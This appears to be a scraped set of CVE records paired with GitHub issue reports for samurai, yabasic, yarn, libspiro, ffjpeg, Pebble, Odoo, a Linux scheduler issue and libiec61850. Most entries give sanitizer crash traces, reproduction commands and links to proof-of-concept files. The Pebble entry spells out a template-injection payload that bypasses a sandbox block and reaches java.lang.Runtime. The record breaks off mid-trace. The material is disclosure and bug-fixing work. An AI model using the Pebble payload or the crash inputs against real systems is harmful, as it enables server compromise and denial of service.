While fuzzing samurai 0.7 with American Fuzzy Lop, I found a heap-based buffer overflow in the canonpath() function, in util.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.gz](https://github.com/michaelforney/samurai/files/3962091/test01.gz)
Issue can be reproduced by running:
```
samu -f test01
```
```
=================================================================
==17675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001719 at pc 0x0000004dd5a3 bp 0x7fff02eaec90 sp 0x7fff02eaec88
WRITE of size 1 at 0x602000001719 thread T0
#0 0x4dd5a2 in canonpath /home/fcambus/samurai-0.7/util.c:204:6
#1 0x4d3ed3 in parseedge /home/fcambus/samurai-0.7/parse.c:131:3
#2 0x4d28a2 in parse /home/fcambus/samurai-0.7/parse.c:231:4
#3 0x4d6252 in main /home/fcambus/samurai-0.7/samu.c:221:2
#4 0x7efd0e3321e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#5 0x41b45d in _start (/home/fcambus/samurai-0.7/samu+0x41b45d)
0x602000001719 is located 0 bytes to the right of 9-byte region [0x602000001710,0x602000001719)
allocated by thread T0 here:
#0 0x49335d in malloc (/home/fcambus/samurai-0.7/samu+0x49335d)
#1 0x4dbf34 in xmalloc /home/fcambus/samurai-0.7/util.c:55:6
#2 0x4dc803 in mkstr /home/fcambus/samurai-0.7/util.c:133:8
#3 0x4c857b in merge /home/fcambus/samurai-0.7/env.c:84:11
#4 0x4c8538 in enveval /home/fcambus/samurai-0.7/env.c:115:8
#5 0x4d3ec0 in parseedge /home/fcambus/samurai-0.7/parse.c:130:9
#6 0x4d28a2 in parse /home/fcambus/samurai-0.7/parse.c:231:4
#7 0x4d6252 in main /home/fcambus/samurai-0.7/samu.c:221:2
#8 0x7efd0e3321e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fcambus/samurai-0.7/util.c:204:6 in canonpath
Shadow bytes around the buggy address:
0x0c047fff8290: fa fa fd fa fa fa fd fd fa fa 03 fa fa fa 00 00
0x0c047fff82a0: fa fa 00 fa fa fa fd fd fa fa fd fd fa fa 00 05
0x0c047fff82b0: fa fa 00 fa fa fa 00 05 fa fa fd fd fa fa fd fd
0x0c047fff82c0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff82d0: fa fa fd fd fa fa fd fd fa fa 00 03 fa fa 00 03
=>0x0c047fff82e0: fa fa 00[01]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==17675==ABORTING
```
|
Heap-based buffer overflow in the canonpath() function
|
https://api.github.com/repos/michaelforney/samurai/issues/29/comments
| 5
|
2019-12-13T18:05:45Z
|
2019-12-14T10:08:38Z
|
https://github.com/michaelforney/samurai/issues/29
| 537,691,130
| 29
| 897
|
CVE-2019-19796
|
2019-12-13T22:15:11.497
|
Yabasic 2.86.2 has a heap-based buffer overflow in myformat in function.c via a crafted BASIC source file.
|
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"type": "Primary"
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787
|
https://github.com/marcIhm/yabasic/issues/37
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"marcIhm",
"yabasic"
] |
Hi,
While fuzzing yabasic 2.86.2 with Honggfuzz, I found a heap-based buffer overflow in the myformat() function, in function.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test02.yab.gz](https://github.com/marcIhm/yabasic/files/3962433/test02.yab.gz)
Issue can be reproduced by running:
```
yabasic test02.yab
```
```
=================================================================
==20807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002814 at pc 0x00000043cce7 bp 0x7ffe28e0e900 sp 0x7ffe28e0e098
WRITE of size 41236 at 0x626000002814 thread T0
#0 0x43cce6 in vsprintf (/home/fcambus/yabasic-2.86.2/yabasic+0x43cce6)
#1 0x43dc73 in sprintf (/home/fcambus/yabasic-2.86.2/yabasic+0x43dc73)
#2 0x4e4ad3 in myformat /home/fcambus/yabasic-2.86.2/function.c:1254:9
#3 0x4ded27 in function /home/fcambus/yabasic-2.86.2/function.c:465:14
#4 0x4d5717 in run_it /home/fcambus/yabasic-2.86.2/main.c:1779:17
#5 0x4c5fe8 in main /home/fcambus/yabasic-2.86.2/main.c:325:9
#6 0x7f664ab9b1e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#7 0x41da2d in _start (/home/fcambus/yabasic-2.86.2/yabasic+0x41da2d)
0x626000002814 is located 0 bytes to the right of 10004-byte region [0x626000000100,0x626000002814)
allocated by thread T0 here:
#0 0x49592d in malloc (/home/fcambus/yabasic-2.86.2/yabasic+0x49592d)
#1 0x4c6314 in my_malloc /home/fcambus/yabasic-2.86.2/main.c:2099:12
#2 0x4c5012 in main /home/fcambus/yabasic-2.86.2/main.c:122:23
#3 0x7f664ab9b1e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fcambus/yabasic-2.86.2/yabasic+0x43cce6) in vsprintf
Shadow bytes around the buggy address:
0x0c4c7fff84b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff84c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff84d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff84e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff84f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff8500: 00 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==20807==ABORTING
```
|
Heap-based buffer overflow in the myformat() function
|
https://api.github.com/repos/marcIhm/yabasic/issues/37/comments
| 2
|
2019-12-13T19:41:08Z
|
2019-12-17T10:37:35Z
|
https://github.com/marcIhm/yabasic/issues/37
| 537,739,601
| 37
| 898
|
CVE-2019-10773
|
2019-12-16T20:15:14.477
|
In Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted "bin" keys. Existing files could be overwritten depending on the current user permission set.
|
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59
|
https://github.com/yarnpkg/yarn/issues/7761#issuecomment-565493023
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"yarnpkg",
"yarn"
] |
<!-- *Before creating an issue please make sure you are using the latest version of yarn.* -->
npm has announced vulnerabilities that npm has been fixed.
https://blog.npmjs.org/post/189618601100/binary-planting-with-the-npm-cli
One of the vulnerabilities has been fixed at yarn v1.12.1. Thank you! 👏👏👏
But yarn hasn't fixed the other yet.
Do you have any plans to fix this?
**Do you want to request a *feature* or report a *bug*?**
<!-- Is the feature a substantial feature request? Please use https://github.com/yarnpkg/rfcs -->
bug?
**What is the current behavior?**
globally-installed package overwrites an existing binary in the target install location.
**If the current behavior is a bug, please provide the steps to reproduce.**
<!-- If you can, provide a link to a public repository which contains the files necessary to reproduce this. -->
<!--
- create a symlink named create-react-app into a directory that yarn uses for globally install.
- `yarn global add create-react-app`
- The symlink has been overwritten
-->
**What is the expected behavior?**
Do not overwrite the symlink.
**Please mention your node.js, yarn and operating system version.**
- Node: v10.16.3
- Yarn: v1.21.1
- OS: macOS 10.15.1
|
globally-installed package overwrites an existing binary in the target install location
|
https://api.github.com/repos/yarnpkg/yarn/issues/7761/comments
| 9
|
2019-12-12T08:13:35Z
|
2020-09-04T18:06:48Z
|
https://github.com/yarnpkg/yarn/issues/7761
| 536,820,897
| 7,761
| 899
|
CVE-2019-19847
|
2019-12-17T16:15:14.733
|
Libspiro through 20190731 has a stack-based buffer overflow in the spiro_to_bpath0() function in spiro.c.
|
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},
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787
|
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[
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github.com
|
[
"fontforge",
"libspiro"
] |
Hi,
When building libspiro 20190731 with AddressSanitizer enabled and running the test suite, I found a stack-based buffer overflow in spiro_to_bpath0() in spiro.c.
In the test suite, `call-test14` to `call-test19` all trigger the same issue.
The issue can be triggered as follow:
```
./configure CFLAGS="-fsanitize=address"
make
./tests/call-test14
```
```
=================================================================
==1829==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcf5a2c938 at pc 0x7fdc1174d487 bp 0x7ffcf5a2c450 sp 0x7ffcf5a2c448
WRITE of size 8 at 0x7ffcf5a2c938 thread T0
#0 0x7fdc1174d486 in spiro_to_bpath0 /home/fcambus/libspiro-20190731/spiro.c:1182:11
#1 0x4c9ea0 in test_curve /home/fcambus/libspiro-20190731/tests/./call-test.c:666:5
#2 0x4ca119 in main /home/fcambus/libspiro-20190731/tests/./call-test.c:1172:9
#3 0x7fdc1152e1e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#4 0x41b31d in _start (/home/fcambus/libspiro-20190731/tests/.libs/call-test14+0x41b31d)
Address 0x7ffcf5a2c938 is located in stack of thread T0 at offset 632 in frame
#0 0x4c832f in test_curve /home/fcambus/libspiro-20190731/tests/./call-test.c:536
This frame has 3 object(s):
[32, 416) 'spiro' (line 537)
[480, 548) 'nextknot' (line 538)
[592, 632) 'd' (line 539) <== Memory access at offset 632 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/fcambus/libspiro-20190731/spiro.c:1182:11 in spiro_to_bpath0
Shadow bytes around the buggy address:
0x10001eb3d8d0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
0x10001eb3d8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d900: 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2
0x10001eb3d910: f2 f2 f2 f2 00 00 00 00 00 00 00 00 04 f2 f2 f2
=>0x10001eb3d920: f2 f2 00 00 00 00 00[f3]f3 f3 f3 f3 00 00 00 00
0x10001eb3d930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001eb3d970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1829==ABORTING
```
|
Stack-based buffer overflow in the spiro_to_bpath0() function
|
https://api.github.com/repos/fontforge/libspiro/issues/21/comments
| 12
|
2019-12-17T10:19:54Z
|
2020-05-05T08:20:03Z
|
https://github.com/fontforge/libspiro/issues/21
| 538,970,632
| 21
| 900
|
CVE-2019-19887
|
2019-12-18T19:15:11.843
|
bitstr_tell at bitstr.c in ffjpeg through 2019-08-21 has a NULL pointer dereference related to jfif_encode.
|
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|
[
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"Exploit",
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],
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] |
[
"476"
] |
476
|
https://github.com/rockcarry/ffjpeg/issues/14
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"rockcarry",
"ffjpeg"
] |
run `ffjpeg -e poc.bmp` in linux
result in gdb.
```
Stopped reason: SIGSEGV
0x0000000000401968 in bitstr_tell (stream=0x0) at bitstr.c:221
221 int type = *(int*)stream;
gdb-peda$
```
steam is a pointer which is null in this case. Dereferencing null pointer cause segment fault.
fix:
```
long bitstr_tell(void *stream)
{
if( stream == NULL ){
return EOF;
}
int type = *(int*)stream;
switch (type) {
case BITSTR_MEM : return mbitstr_tell(stream);
case BITSTR_FILE: return fbitstr_tell(stream);
}
return EOF;
}
```
[poc.zip](https://github.com/rockcarry/ffjpeg/files/3974199/poc.zip)
|
SegmentFault in jfif_encode at jfif.c:842
|
https://api.github.com/repos/rockcarry/ffjpeg/issues/14/comments
| 1
|
2019-12-17T15:58:08Z
|
2020-02-24T07:35:00Z
|
https://github.com/rockcarry/ffjpeg/issues/14
| 539,157,799
| 14
| 901
|
CVE-2019-19888
|
2019-12-18T19:15:11.937
|
jfif_decode in jfif.c in ffjpeg through 2019-08-21 has a divide-by-zero error.
|
{
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"version": "2.0"
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"userInteraction": "REQUIRED",
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"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/rockcarry/ffjpeg/issues/13"
},
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}
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] |
[
"369"
] |
369
|
https://github.com/rockcarry/ffjpeg/issues/13
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"rockcarry",
"ffjpeg"
] |
file: jfif.c function: jfif_decode line: 425
mcuw = sfh_max * 8;
mcuh = sfv_max * 8;
jw = ALIGN(jfif->width , mcuw);
jh = ALIGN(jfif->height, mcuh);
mcuc = jw / mcuw; <------- mcuw can be zero
mcur = jh / mcuh;
//-- calculate mcu info
|
Deny of Service caused by dividing zero without sanity check in jfif.c
|
https://api.github.com/repos/rockcarry/ffjpeg/issues/13/comments
| 3
|
2019-12-17T06:48:47Z
|
2020-07-27T06:47:58Z
|
https://github.com/rockcarry/ffjpeg/issues/13
| 538,872,327
| 13
| 902
|
CVE-2019-19899
|
2019-12-19T00:15:12.767
|
Pebble Templates 3.1.2 allows attackers to bypass a protection mechanism (intended to block access to instances of java.lang.Class) because getClass is accessible via the public static java.lang.Class java.lang.Class.forName(java.lang.Module,java.lang.String) signature.
|
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"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
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"source": "nvd@nist.gov",
"type": "Primary",
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}
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"version": "3.1"
},
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/PebbleTemplates/pebble/issues/493"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/PebbleTemplates/pebble/issues/493"
}
] |
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] |
[
"862"
] |
862
|
https://github.com/PebbleTemplates/pebble/issues/493
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"PebbleTemplates",
"pebble"
] |
I was reading about https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/ and found a bypass to the fix in [454](https://github.com/PebbleTemplates/pebble/issues/454).
The following code will throw a security exception after the fix in 454:
`{{(1).TYPE.getClass()}}`
However you can still access getClass via the `public static java.lang.Class java.lang.Class.forName(java.lang.Module,java.lang.String)` signature:
`{%set daInt =
(1).TYPE.protectiondomain().getPermissions.elementsAsStream.findFirst().get.hashCode.TYPE.getModule %}`
`{{(1).TYPE.protectiondomain().getPermissions.elementsAsStream.findFirst().get.hashCode.TYPE.forName(daInt,'java.lang.Runtime')
}}`
`Result:`
`class java.lang.Runtime`
|
Unsafe Methods Bypass
|
https://api.github.com/repos/PebbleTemplates/pebble/issues/493/comments
| 2
|
2019-12-18T21:59:56Z
|
2020-05-21T00:20:42Z
|
https://github.com/PebbleTemplates/pebble/issues/493
| 539,947,665
| 493
| 903
|
CVE-2019-11780
|
2019-12-19T16:16:42.370
|
Improper access control in the computed fields system of the framework of Odoo Community 13.0 and Odoo Enterprise 13.0 allows remote authenticated attackers to access sensitive information via crafted RPC requests, which could lead to privilege escalation.
|
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"availabilityImpact": "NONE",
"baseScore": 5.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 4.9,
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"obtainOtherPrivilege": false,
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"source": "nvd@nist.gov",
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}
],
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "security@odoo.com",
"type": "Secondary"
},
{
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"version": "3.1"
},
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}
],
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}
|
[
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"source": "security@odoo.com",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/odoo/odoo/issues/42196"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/odoo/odoo/issues/42196"
}
] |
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[
"284"
] |
284
|
https://github.com/odoo/odoo/issues/42196
|
[
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"odoo",
"odoo"
] |
# Security Advisory - ODOO-SA-2019-10-25-1
Improper access control in the computed fields system of the framework of Odoo Community 13.0 and Odoo Enterprise 13.0 allows remote authenticated attackers to access sensitive information via crafted RPC requests, which could lead to privilege escalation.
**Affects**: Odoo Community Edition 13.0 and Odoo Enterprise Edition 13.0
**Component**: Core/Framework
**Credits**: Swapnesh Shah
**CVE ID**: [CVE-2019-11780](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11780)
## I. Background
The Odoo Framework includes a facility for automatically computed fields,
that can be cached in the database (stored fields), or only computed on
the fly.
As of Odoo 13.0, changes in the framework include a modification of the
default behavior for computed fields, they are now computed in "super-user"
by default. Previously this option needed to be explicitly set in the field
declaration.
## II. Problem Description
Computing stored fields in super-user mode makes sense because the result
must not depend on the user that is triggering the computation. Proper ACLs
will still apply when it comes to accessing the field value after computation.
However non-stored fields may have values that depend on the context of the
call that computes them, including the current user and its access level.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account required
**CVSS3 Score**: High :: 8.1
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
A malicious user (including external portal users) could craft a request to
trigger the computation of non-stored fields that could reveal sensitive
information, and bypass the intented access rights definition, leading
to privilege escalation.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
There is no known workaround, applying the patches is strongly recommended.
Odoo Cloud servers (Odoo Online and Odoo.sh) have been patched as soon as
the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation.
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/13.0/setup/update.html
If you choose to apply the patch instead, change into the main directory of
your Odoo installation (the one containing "odoo" and "addons" directories),
then execute the patch command, typically:
patch -p0 -f < /path/to/the_patch_file.patch
This command assumes your installation layout corresponds to the latest source
code layout of the Odoo project on GitHub. If your installation differs, please
extract the various patch hunks from the files and apply them in the appropriate
locations.
## VI. Correction details
The following list contains the revisions after which the vulnerability
is corrected:
- 13.0: odoo/odoo@843fd38a97f02b49dc09d7f55919072d272fd80e
- 13.0-ent: 13.0 patch + odoo/enterprise@d1bd484f2ca4829210d97b5a000f28dd7ddb3583
For Odoo Enterprise 13.0, both patches are required.
|
[SEC] ODOO-SA-2019-10-25-1 (CVE-2019-11780) - Improper access control in the computed fiel...
|
https://api.github.com/repos/odoo/odoo/issues/42196/comments
| 0
|
2019-12-19T15:42:28Z
|
2019-12-19T15:42:29Z
|
https://github.com/odoo/odoo/issues/42196
| 540,393,344
| 42,196
| 904
|
CVE-2019-19922
|
2019-12-22T20:15:10.823
|
kernel/sched/fair.c in the Linux kernel before 5.3.9, when cpu.cfs_quota_us is used (e.g., with Kubernetes), allows attackers to cause a denial of service against non-cpu-bound applications by generating a workload that triggers unwanted slice expiration, aka CID-de53fd7aedb1. (In other words, although this slice expiration would typically be seen with benign workloads, it is possible that an attacker could calculate how many stray requests are required to force an entire Kubernetes cluster into a low-performance state caused by slice expiration, and ensure that a DDoS attack sent that number of stray requests. An attack does not affect the stability of the kernel; it only causes mismanagement of application execution.)
|
{
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"acInsufInfo": false,
"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "LOW",
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 2.1,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 3.9,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
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"source": "nvd@nist.gov",
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"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Patch",
"Vendor Advisory"
],
"url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.3.9"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Patch",
"Vendor Advisory"
],
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=de53fd7aedb100f03e5d2231cfce0e4993282425"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch",
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] |
400
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https://github.com/kubernetes/kubernetes/issues/67577
|
[
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"kubernetes",
"kubernetes"
] |
> /kind bug
This is not a bug in Kubernets per se, it's more of a heads-up.
I've read this great blog post:
* https://kubernetes.io/blog/2018/07/24/feature-highlight-cpu-manager/
From the blog post I learned that k8s is using cfs quotas to enforce CPU limits. Unfortunately, those can lead to unnecessary throttling, especially for well behaved tenants.
See this unresolved bug in Linux kernel I filed a while back:
* https://bugzilla.kernel.org/show_bug.cgi?id=198197
There's an open and stalled patch that addresses the issue (I've not verified if it works):
* https://lore.kernel.org/patchwork/cover/907448/
cc @ConnorDoyle @balajismaniam
|
CFS quotas can lead to unnecessary throttling
|
https://api.github.com/repos/kubernetes/kubernetes/issues/67577/comments
| 146
|
2018-08-20T04:06:20Z
|
2023-01-16T14:53:22Z
|
https://github.com/kubernetes/kubernetes/issues/67577
| 351,978,078
| 67,577
| 907
|
CVE-2019-19930
|
2019-12-23T03:15:12.070
|
In libIEC61850 1.4.0, MmsValue_newOctetString in mms/iso_mms/common/mms_value.c has an integer signedness error that can lead to an attempted excessive memory allocation.
|
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},
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}
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|
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|
https://github.com/mz-automation/libiec61850/issues/193
|
[
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github.com
|
[
"mz-automation",
"libiec61850"
] |
Function `MmsValue_newOctetString` didn't check argument maxSize if it's negative. If it is a negative number, then argument which malloc will use later is a huge number. For example -1 would be interpreted as 0xffffffff on 32 bit arch or 0xffffffffffffffff on 64 bit arch.
<img width="629" alt="Screen Shot 2019-12-20 at 9 17 55 PM" src="https://user-images.githubusercontent.com/20929895/71258045-32929d00-2370-11ea-938c-8a0dea4a94f9.png">
poc:
[poc.zip](https://github.com/mz-automation/libiec61850/files/3988455/poc.zip)
steps to reproduce:
1. compile libiec61850 with compiler flag
```
CFLAGS=-fsanitize=address -g
CXXFLAGS=-fsanitize=address -g
```
2. compile test.c in poc.zip
3. run: `./test < poc` in gdb
result in gdb
```
gdb-peda$ r < poc
Starting program: /home/casper/targets/struct/libiec61850/dbg/fuzzrun/test < poc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
=================================================================
==123865==ERROR: AddressSanitizer: requested allocation size 0xffffffffffffff94 (0x798 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
[New process 124882]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 124882 is executing new program: /home/casper/fuzz/fuzzdeps/llvm9/bin/llvm-symbolizer
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
#0 0x492c12 in calloc /tmp/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:154:3
#1 0x7ffff7b6f15c in Memory_calloc /home/casper/targets/struct/libiec61850/dbg/SRC/hal/memory/lib_memory.c:59:20
#2 0x7ffff7989679 in MmsValue_newOctetString /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/common/mms_value.c:1334:46
#3 0x7ffff7a0082b in MmsValue_decodeMmsData /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/server/mms_access_result.c:253:17
#4 0x4c21df in main /home/casper/targets/struct/libiec61850/dbg/../fuzzsrc/fuzzmmsdata.c:12:21
#5 0x7ffff6969b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
==123865==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big /tmp/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:154:3 in calloc
==123865==ABORTING
```
|
Deny of Service, caused by integer overflow in function MmsValue_newOctetString mms/iso_mms/common/mms_value.c:1324
|
https://api.github.com/repos/mz-automation/libiec61850/issues/193/comments
| 1
|
2019-12-20T13:37:27Z
|
2020-01-04T15:29:36Z
|
https://github.com/mz-automation/libiec61850/issues/193
| 540,998,941
| 193
| 908
|
CVE-2019-19931
|
2019-12-23T03:15:12.147
|
In libIEC61850 1.4.0, MmsValue_decodeMmsData in mms/iso_mms/server/mms_access_result.c has a heap-based buffer overflow.
|
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"source": "cve@mitre.org",
"tags": [
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787
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https://github.com/mz-automation/libiec61850/issues/194
|
[
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] |
github.com
|
[
"mz-automation",
"libiec61850"
] |
Function `MmsValue_decodeMmsData` has heap overflow vulnerability in file mms/iso_mms/server/mms_access_result.c.
<img width="639" alt="Screen Shot 2019-12-20 at 9 48 22 PM" src="https://user-images.githubusercontent.com/20929895/71259266-04fb2300-2373-11ea-8086-8389fc3e4d6f.png">
poc:
[poc.zip](https://github.com/mz-automation/libiec61850/files/3988537/poc.zip)
steps to reproduce:
1. compile libiec61850 with compiler flag
```
CFLAGS=-fsanitize=address -g
CXXFLAGS=-fsanitize=address -g
```
2. compile test.c in poc.zip
3. run: `./test < poc` in gdb
result in gdb
```
gdb-peda$ r < poc
Starting program: /home/casper/targets/struct/libiec61850/dbg/fuzzrun/test < poc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
=================================================================
==25413==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000079 at pc 0x000000491f90 bp 0x7fffffffdb10 sp 0x7fffffffd2d8
WRITE of size 18 at 0x602000000079 thread T0
[New process 25894]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 25894 is executing new program: /home/casper/fuzz/fuzzdeps/llvm9/bin/llvm-symbolizer
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
#0 0x491f8f in __asan_memcpy /tmp/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:22:3
#1 0x7ffff7a00519 in MmsValue_decodeMmsData /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/server/mms_access_result.c:239:9
#2 0x7ffff79ff9b3 in MmsValue_decodeMmsData /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/server/mms_access_result.c:194:38
